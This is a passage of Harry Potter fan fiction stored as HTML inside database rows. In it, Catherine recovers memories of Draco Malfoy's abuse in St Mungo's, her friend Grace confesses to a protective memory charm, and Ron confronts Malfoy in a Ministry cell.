class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Relation\nto the patient sir?&quot; the nasal voiced receptionist sounded bored. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m her\nhusband.&quot; Harry spat, impatient to get to the room as soon as possible.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Room\n314.&quot; The receptionist said in a monotone, and Harry dashed away. He found\nthe room quickly and went inside.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine lay\non a stark white hospital bed, her eyes were wide open and she was staring at\nthe ceiling. Grace was sitting next to her, talking to her softly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cath,\nplease, answer me&#8230;.&quot; She was saying as Harry came up next to her. &quot;Oh\nGod, this is all my fault.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How is\nshe?&quot; he asked softly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace stood up\nand looked at him. &quot;Not too good.&quot; She said, her eyes were red rimmed\nand she was shaking. &quot;She won\'t respond to anything I say.&quot; She\nsobbed and turned, fleeing from the room.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sat down\nin the chair that Grace had been in and took Catherine\'s hand. Raising it to\nhis lips, he kissed it softly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Catherine,\nit\'s me, its Harry.&quot; He reached out his other hand and gently wiped away\nthe tears that still clung to her cheeks. &quot;Come on Cath, look at me, I\'m\nhere.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine made\na small sound with her throat, and turned her head slowly to look at Harry. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hey.&quot;\nHe said, smiling at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry&#8230;&quot;\nshe tried to sit up, but she was too weak.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No&#8230;no\nyou lay down.&quot; He said. She squeezed his hand weakly but gratefully.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nreally glad you\'re here.&quot; She said almost inaudibly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Me too,\nlove, me too.&quot; He said soothingly. They sat that way for a time, just\nlooking at one another.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It was\nhorrible&#8230;&quot; she said after awhile. &quot;All those memories, why did they\ncome back when I saw him? Why didn\'t I know for the longest time, that that\nhappened to me?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nknow.&quot; Harry said quietly. &quot;But we\'re going to find out.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;He&#8230;he\nhad me chained to a wall&#8230;&quot; her voice broke off for a moment. &quot;He\nwould come in, and hit me, then other times he would come in and try\nto&#8230;to&#8230;&quot; her body gave a great shudder, she couldn\'t bring herself to say\nthe words.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Shhh.&quot;\nHarry said, stroking her hair. &quot;Don\'t think about it now. It\'s over,\nnothing like that will happen again.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She nodded\nsilently, and Harry leaned over and pressed his lips to her forehead.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nshould try and get a little sleep.&quot; He said. &quot;I\'m going to go talk to\nGrace.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay.&quot;\nShe said. In moments, sheer exhaustion had overtaken her and she was fast\nasleep. Harry got up and left the room. Grace was sitting on a bench in the\nhallway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Grace.&quot;\nHarry said. She looked up.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Is she\nokay?&quot; Grace asked. &quot;Did she finally respond?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah.&quot;\nHarry replied. &quot;She\'s sleeping now.&quot; The relief was apparent on\nGrace\'s face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Good,\ngood.&quot; She said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We need\nto talk.&quot; Harry said. He took Grace\'s elbow and brought her to a corner.\n&quot;When I came into the room, you were saying that this was all your fault.\nWhat did you mean by that?&quot; he gripped her arm tightly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace\nswallowed and fresh tears sprang to her eyes. &quot;This was all my fault! If I\nhadn\'t cast that spell on her, none of this would have happened!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: I know I\nknow, I\'m evil&#8230;but hey, I don\'t\' leave you guys with too many cliffhangers, not\nyet anyways ;) </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">I certainly\ndidn\'t plan that make out scene to happen, but I swear, I just can\'t leave\nthose two alone together. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Poor Cath, I\nfelt bad for her having those horrible memories coming back like that.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Next chapter:\nDraco\'s hearing, and we find out Grace\'s secret! Please don\'t forget to R/R! I\ndo thank you!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">And for you\ndie hard H/H\'ers, and even those not die hard, Ryoko and I have started an H/H\nKissing Contest over at Harry and Hermione\'s Haven. Pop on by and see what it\'s\nabout!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 10, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 10</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Thanks again for\neveryone&#8217;s support! I tell you, this story wouldn&#8217;t&#8217; be half as much fun to\nwrite if you guys didn&#8217;t like it so much!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I want to thank MythX for\nletting me use his idea, for something you&#8217;ll see later in the story. I will\npoint it out specifically at the end of this chapter, as to not ruin anything\nnow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And be sure and be on the\nlookout for Ryoko&#8217;s cameo in this ;)&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And this chapter is rated R,\nfor a few situations that happen.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s eyes narrowed as he\nstared at Grace. &#8220;What do you mean, you cast that spell on her!&#8221; he asked\ntightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace looked back up at him,\nand then widened her eyes. &#8220;Oh my God! You don&#8217;t&#8217; think I&#8230;. I would NEVER cast\na curse like that on anyone!&#8221; she pulled her arm from Harry&#8217;s grip. &#8220;I can&#8217;t\ncast a spell that powerful!&#8221; she lowered her voice. &#8220;Catherine never told you\ndid she? I&#8217;m a Squib.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a Squib?&#8221; Harry\nasked disbelievingly. Grace nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I had just come into my\npowers as a witch when I met Cath&#8230;&#8221; she began, but a loud scream cut her off.\nGrace and Harry both whirled around, the scream had come from the room\nCatherine was currently residing in. Two medi-wizards dashed into the room, and\nGrace pushed Harry down on the bench just outside the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stay here a moment, we&#8217;ll\nsee what&#8217;s wrong with her&#8230;&#8221; Grace said, slipping into her professional nurse\nvoice. She didn&#8217;t give Harry a chance to argue as she slipped inside, pulling\nout her wand. The two medi-wizards were already pointing theirs at Catherine,\nand she joined in as a mild subduing spell was cast. Catherine immediately\nrelaxed and stopped whimpering. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will you stay with her\nGrace?&#8221; one of them asked. &#8220;We need someone to monitor the spell and make sure\nit stays on for awhile.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Grace nodded. The\ntwo medi-wizards left the room and Harry quickly entered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong?&#8221; he asked\nimmediately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She was having a\nnightmare.&#8221; Grace said sadly, stroking her friend&#8217;s hair away from her sweaty\nforehead. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is she all right?&#8221; Harry asked,\nmoving to the other side of the bed and taking up one of Catherine&#8217;s hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She will be. We&#8217;ve just\ncast a mild subduing spell on her so she will relax.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded. &#8220;Okay.&#8221; He\nlooked down at Catherine, he wished so much he could take away whatever pain\nshe was feeling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace watched Harry for a\nwhile as he sat by the bedside. &#8220;Do you love her?&#8221; she asked, out of the blue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up, startled.\n&#8220;Of course I do.&#8221; He replied after a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I mean,&#8221; Grace continued.\n&#8220;Do you love her, or do you love her because you think she is your wife?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a little of both.&#8221;\nHarry said honestly. &#8220;I told her this, I was attracted to her at first because\nshe resembles Hermione so much. But these last few weeks, I&#8217;ve realized it\ndoesn&#8217;t&#8217; matter anymore if she is or not. Do I still think she is my wife?\nAbsolutely, especially now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you think will\nhappen now?&#8221; Grace asked quietly. &#8220;I mean, with Draco Malfoy&#8230;&#8221; she shuddered to\nthink she had found him attractive. &#8220;I can&#8217;t believe what he did to her!&#8221; tears\nonce again sprang to her eyes and she sniffed as she brushed them away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, my friend Ron is\nhandling it right now, but I assume he&#8217;ll go to trial and be sent to Azkaban.&#8221;\nHarry said, unflinching. Grace said nothing more on the issue; she and Harry\nsat in a silence for a long while. Harry was almost falling asleep when he felt\na slight pressure on his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cath?&#8221; Grace asked, seeing\nher friend&#8217;s eyes open. Harry was immediately on his feet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where am I?&#8221; Catherine\nasked groggily. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re at St. Mungos.&#8221;\nHarry answered gently. Grace pulled out her wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Accio water!&#8221; she said, and\na glass with a pitcher of water came flying into the room. &#8220;Here, drink some.&#8221;\nGrace said, pouring Catherine a glass. She gladly accepted it, and drank it\nquickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Grace, that&#8217;s so\nmuch better.&#8221; Catherine said, her voice stronger. Grace took a deep breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look, Cath&#8230;I have something\nI need to tell you, it&#8217;s about this whole&#8230;situation. I just hope after hearing it\nyou won&#8217;t hate me.&#8221; Grace said, her voice quavering.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221;\nCatherine asked, sitting up against the pillows. She looked at Harry. &#8220;What is\ngoing on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221; Harry\nanswered. They both looked at Grace, who felt as if she was up in front of a\nfiring squad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Before I start, just\nplease, let me tell you, don&#8217;t interrupt.&#8221; Grace said. &#8220;I&#8217;ve already told you\nboth that I&#8217;m a Squib. I was just coming into the wizarding world about nine\nyears ago, and became a nurse here. I had taken a little trip back into Muggle\nLondon, along the Thames, when I saw you, Cath. You almost fell into the river,\nthis guy was pulling you back, and you were fighting him off like he was going\nto harm you.&#8221; Grace took a deep breath, and continued. &#8220;By the time I rushed up\nto you, he was long gone, I don&#8217;t know who he was or what became of him. But\nyou were twitching and God, so beaten up. I knew I had to do something, so I\ntook you here, to St. Mungos. You had no identification on you, nothing to say\nwho you were, and you were barely conscious. We fixed you up, but you slept for\nabout four days straight.&#8221; Grace grabbed the glass and filled it back up with\nwater, then gulped some down. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You kept mumbling things,\nsometimes even crying out. I sat there with you most nights, and after the\nthird night I finally was able to piece together that you had been horribly\nabused by someone. What I didn&#8217;t know is who did it, and if he was still\nlooking for you or not.&#8221; Grace paused a moment and bit her lower lip. &#8220;I didn&#8217;t\nwant you to be hurt anymore&#8230;so with the limited knowledge and spells I had, I\nperformed a memory charm on you.&#8221; Grace&#8217;s red-rimmed eyes spilled over as she\ntried to finish her tale. &#8220;I knew whoever was hurting you was searching for\nyou, he would still recognize you, so I lengthened and darkened your hair and\nchanged your skin color&#8230;I didn&#8217;t want anything to happen, and if I had known\nabout today ahead of time, I&#8217;d have filled you in sooner, I swear&#8230;.&#8221; Grace\ntrailed off, too upset with herself to continue talking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat back in the chair,\nstunned by Grace&#8217;s revelation. He had had her pegged completely wrong.\nCatherine was also speechless, and Grace looked up at her, her eyes pleading\nwith Catherine to understand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I really thought I was\ndoing what was best&#8230;&#8221; Grace could only offer this as her final plea. &#8220;I am so\nsorry Cath&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Catherine was silent for a\nfew moments while she tried to process the information in her weary mind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace&#8230;&#8221; she said a few\nmoments later, moving her other hand forward on top of Grace&#8217;s. &#8220;I&#8217;m not mad at\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re not?&#8221; Grace asked,\nlooking up hopefully. Catherine shook her head and sat up more in the bed,\nHarry was sitting back, letting the two women work things out amongst\nthemselves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I mean, I have a bit of a\nhard time understanding why you could never tell me, but I do understand why\nyou did it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Grace asked. She\nlet out a small sniff. &#8220;How could you not hate me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace&#8230;&#8221; Catherine began. &#8220;I\nthink of it this way, you were only trying to protect me, you have been the\nonly one I trusted fully for the last nine years.&#8221; She sat back again.\n&#8220;Besides, if you were out to hurt me you&#8217;d have done it by now.&#8221; She grinned\ndespite the seriousness of the situation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace smiled back wryly then\nthrew her arms around Catherine in an exaggerated hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&#8220;You&#8217;re just the most understanding person, and the best friend\nI&#8217;ve ever had!&#8221; Grace wailed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace&#8230;can&#8217;t&#8230;breathe&#8230;&#8221;\nCatherine managed to say before Grace cut off her air supply.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I&#8217;m sorry!&#8221; she gasped. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221; Catherine\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen, I&#8217;m going to go\ntalk to the medi-wizards about when you can leave here ok? I&#8217;ll be back in a\nlittle bit.&#8221; Grace said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right. Thanks.&#8221;\nCatherine smiled back at her. Grace walked out the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll be right back.&#8221; Harry\nsaid. He followed Grace out the door and down the hall a little.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace.&#8221; He said, and she\nturned around. &#8220;Look, I wanted to apologize for accusing you earlier.&#8221; Harry\nran a hand through his dark hair. &#8220;I shouldn&#8217;t&#8217; have jumped to conclusions like\nthat, and I&#8217;m really sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right Harry.&#8221;\nGrace said. &#8220;I understand.&#8221; She squeezed his arm gently and they smiled at each\nother, then she continued down the hall to the offices while he returned to\nCatherine&#8217;s room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where did you go?&#8221; she\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just to apologize to\nGrace.&#8221; He replied, resuming his seat next to her bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; she was curious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I sort of jumped to\nconclusions with her earlier, when she was talking about casting a spell on\nyou. I all but came right out and accused her of being in league with\nDraco&#8230;then she told me she was a Squib&#8230;&#8221; Harry was terribly embarrassed at his\nbehavior.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;is everything okay\nthen?&#8221; she asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, everything is fine.\nHow are you feeling? Are you okay?&#8221; he asked, mentally smacking himself for not\nasking sooner. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m all right.&#8221; She said.\n&#8220;I mean, I&#8217;m a bit emotionally drained at the moment, but I&#8217;ll be fine.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached for her hand\nand grasped it firmly in his own. &#8220;I know you will.&#8221; He leaned over to kiss her,\nbut a knock on the doorway interrupted him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron stood there, looking a\nbit ashamed at interrupting them. &#8220;Sorry&#8230;&#8221; he said, grimacing a bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right Ron.&#8221; Harry\nsaid, sitting back but not letting go of Catherine&#8217;s hand. Ron entered the room\nand stood by the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you feeling?&#8221; he\nasked Catherine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m okay.&#8221; She answered.\n&#8220;Just trying to recoup, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron nodded kindly at her,\nand then turned to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve got a bit of bad news\nmate&#8230;&#8221; he said. He sighed and sat down in the other vacant chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s that?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy&#8230;he&#8217;s got grounds to\npress charges against you.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry said angrily.\n&#8220;Why does he get ANY rights &#8211; he used an Unforgivable Curse Ron!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know!&#8221; Ron said. &#8220;But you\nalso beat the shit out of him Harry, before you brought him to the Ministry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He deserved it!&#8221; Harry\nsnapped. Catherine&#8217;s eyes grew wide and she paled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They aren&#8217;t&#8230;. they won&#8217;t\nlet him go will they?&#8221; her voice raised a few octaves in panic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Ron said quickly. &#8220;He&#8217;s\nbeen put in a holding cell, he doesn&#8217;t get a trial, but a hearing,&#8221; he looked\ntowards Catherine. &#8220;You have to testify, to prove he did this to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Testify?&#8221; She looked\npuzzled. &#8220;What do you mean, prove he did this to me? Doesn&#8217;t my rush of sudden memories\nprove everything?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well yes, that&#8217;s exactly\nit.&#8221; Ron sighed again. &#8220;We have a contraption that fits to your eyes, and you\nsimply have to think of a certain memory, and it will show like a Muggle movie\nprojector. The Ministry needs to see it for themselves.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Catherine swallowed hard.\n&#8220;When does this take place?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two days from now.&#8221; Ron\nreplied. He looked at her intently. &#8220;Do you think you&#8217;ll be up to it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She nodded. &#8220;I will.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do I do in the\nmeantime?&#8221; Harry asked. Ron looked back up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Leave everything to me. I\nwill talk to Malfoy today, in fact, when I leave here. I&#8217;ll reason with him&#8230;&#8221;\nRon made a face as if the thought of reasoning with Draco Malfoy left a sour\ntaste in his mouth. &#8220;As much as you CAN reason with a Malfoy&#8230;but when I&#8217;m done\nwith him, he won&#8217;t be pressing anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded. &#8220;Thanks Ron.&#8221;\nThe two men shook hands, and Ron left. A few moments later, Grace came back\ninto the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great news, the\nmedi-wizards said you can leave tomorrow morning!&#8221; she announced. &#8220;As long as\nyou get a lot of sleep tonight.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No problems there.&#8221;\nCatherine said. &#8220;I&#8217;m completely exhausted.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I&#8217;ve been authorized\nto give you a sleeping draught if you like.&#8221; Grace said, producing a small vial\nin her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you think you need it?&#8221;\nHarry asked, smoothing her hair back from her forehead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose it couldn&#8217;t\nhurt.&#8221; Catherine replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s also made for\ndreamless sleep, so you&#8217;ll be out all night.&#8221; Grace said. She pulled the\nstopper out of the top and handed it to Catherine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perfect.&#8221; She said. Tipping\nher head back, she swallowed it quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you want me to stay?&#8221;\nHarry asked. &#8220;I will.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, you don&#8217;t have to.&#8221;\nCatherine replied. &#8220;Go and get a good night&#8217;s rest yourself, you can&#8217;t be too comfortable\nin that chair.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, then leaned\nforward and kissed her gently. &#8220;I&#8217;ll be back first thing in the morning, I\npromise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; she smiled sleepily\nas the potion took effect, and not a second later, she was sleeping soundly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Grace quietly left\nthe room, shutting the door firmly behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile, Ron had just\narrived back at the Ministry, he strode down the hallway to the holding cell\nwhere Draco was. The holding cell was of the tightest security, with charms and\nspells preventing anyone inside from casting any spells or apparating away. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy.&#8221; Ron said coldly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you want Weasel?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grow up, for one thing!&#8221;\nRon snapped. &#8220;We haven&#8217;t been in school for about 12 years now, and you still\nhang onto this pathetic grudge against Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy stood up; he was\nalmost nose to nose with Ron. &#8220;Have Potter take away your family and all your\nmoney and belongings, and see how much you like him then.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You were in league with\nVoldemort!&#8221; Ron almost shouted. &#8220;What did you expect him to do?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy smirked and sat back\ndown. &#8220;What do you want, Weasley?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want you to drop your\ncharges against Harry.&#8221; Ron said, not beating around the bush.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why should I do that?&#8221;\nMalfoy hissed. He pointed to his eye and his lip. &#8220;Look what that asshole did\nto me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You deserved it.&#8221; Ron said\nflatly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy&#8217;s face twisted into\nan ugly grimace and he stood up like he was going to hit Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sit down!&#8221; Ron snapped. &#8220;I don&#8217;t\nsuppose you&#8217;ve heard what is going to happen to you because of this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy said nothing, but\nglared at Ron dangerously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re going to Azkaban&#8230;&#8221;\nRon announced, trying to keep the glee out of his voice. &#8220;You like the\ndementors, Malfoy? You ever feel like kissing one? Cause you&#8217;ll get your chance\nnow&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Real fear flitted through\nMalfoy&#8217;s features for the first time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s right. The Kiss,\ngiven to all who perform Unforgivable 